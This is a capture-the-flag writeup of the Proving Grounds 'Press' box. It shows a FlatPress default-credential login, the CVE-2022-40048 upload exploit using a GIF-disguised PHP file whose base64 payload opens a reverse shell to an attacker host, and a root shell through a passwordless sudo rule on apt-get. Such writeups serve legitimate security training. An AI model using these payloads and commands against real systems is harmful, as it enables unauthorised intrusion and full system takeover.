# Press Writeup - Proving Grounds

> Intermediate Linux box running FlatPress with default admin credentials, exploited via the CVE-2022-40048 upload RCE for a www-data shell, then escalated to root through a passwordless sudo rule on apt-get.

- **URL:** https://hackindex.io/writeups/press
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** file-upload, default-credentials, sudo-misconfiguration, gtfobins, privilege-escalation, flatpress, cve-2022-40048
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 2 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Press runs FlatPress with default admin credentials. The upload feature is vulnerable to CVE-2022-40048, which bypasses the extension filter with a fake GIF header and runs PHP for a www-data shell, and a passwordless sudo rule on `apt-get` gives root through a GTFOBins trick.

## Reconnaissance

### Nmap

Scan for open ports only, skipping closed ones.

```bash
nmap -Pn --open $TARGET_IP
# PORT     STATE SERVICE
# 8089/tcp open  http
```

Port 8089 serves a FlatPress welcome page, a lightweight blogging engine.

## Enumeration

FlatPress is vulnerable to **CVE-2022-40048**, a remote code execution in the upload feature. The login page accepts common default credentials.

```bash
curl -s http://$TARGET_IP:8089/login.php
# <form action="login.php" method="post">
# <input name="user" /><input name="pass" type="password" />
```

Logging in with `admin:password` succeeds. The admin panel exposes an **Uploader** that accepts arbitrary files.

## Exploitation

### FlatPress upload RCE (CVE-2022-40048)

Build a PHP payload disguised as a GIF so the upload filter accepts it.

```php
 GIF89a;
<?php
  system("echo c2ggLWkgPiYgL2Rldi90Y3AvJEFUVEFDS0VSX0lQLyRBVFRBQ0tFUl9QT1JUIDA+JjEK | base64 -d | bash");
?>
```

The base64 blob decodes to a reverse shell back to the attacker.

```bash
echo "sh -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1" | base64 -w 0
# c2ggLWkgPiYgL2Rldi90Y3AvJEFUVEFDS0VSX0lQLyRBVFRBQ0tFUl9QT1JUIDA+JjEK
```

```bash
rlwrap nc -lvnp $ATTACKER_PORT
# listening on [any] $ATTACKER_PORT ...
```

Upload `exploit.php` through the uploader, then open it from **Media Manager** to trigger it.

```bash
curl http://$TARGET_IP:8089/fp-content/uploads/exploit.php
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
# $ id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Shell as `www-data`. Check sudo rights next.

## Privilege Escalation

### Sudo apt-get (GTFOBins)

Check what www-data can run with sudo.

```bash
sudo -l
# Matching Defaults entries for www-data on debian:
#     env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
#
# User www-data may run the following commands on debian:
#     (ALL) NOPASSWD: /usr/bin/apt-get
```

`apt-get` can run pre-invoke hooks as part of an update, which GTFOBins lists as a root shell primitive.

```bash
sudo /usr/bin/apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
# # id
# uid=0(root) gid=0(root) groups=0(root)
```

The pre-invoke hook runs as root, giving a root shell.

Related

## References

- [CVE-2022-40048](https://nvd.nist.gov/vuln/detail/CVE-2022-40048) - FlatPress 1.2.1 arbitrary file upload leading to remote code execution.
- [GTFOBins: apt-get](https://gtfobins.github.io/gtfobins/apt-get/) - Sudo privilege escalation via apt-get pre-invoke hooks.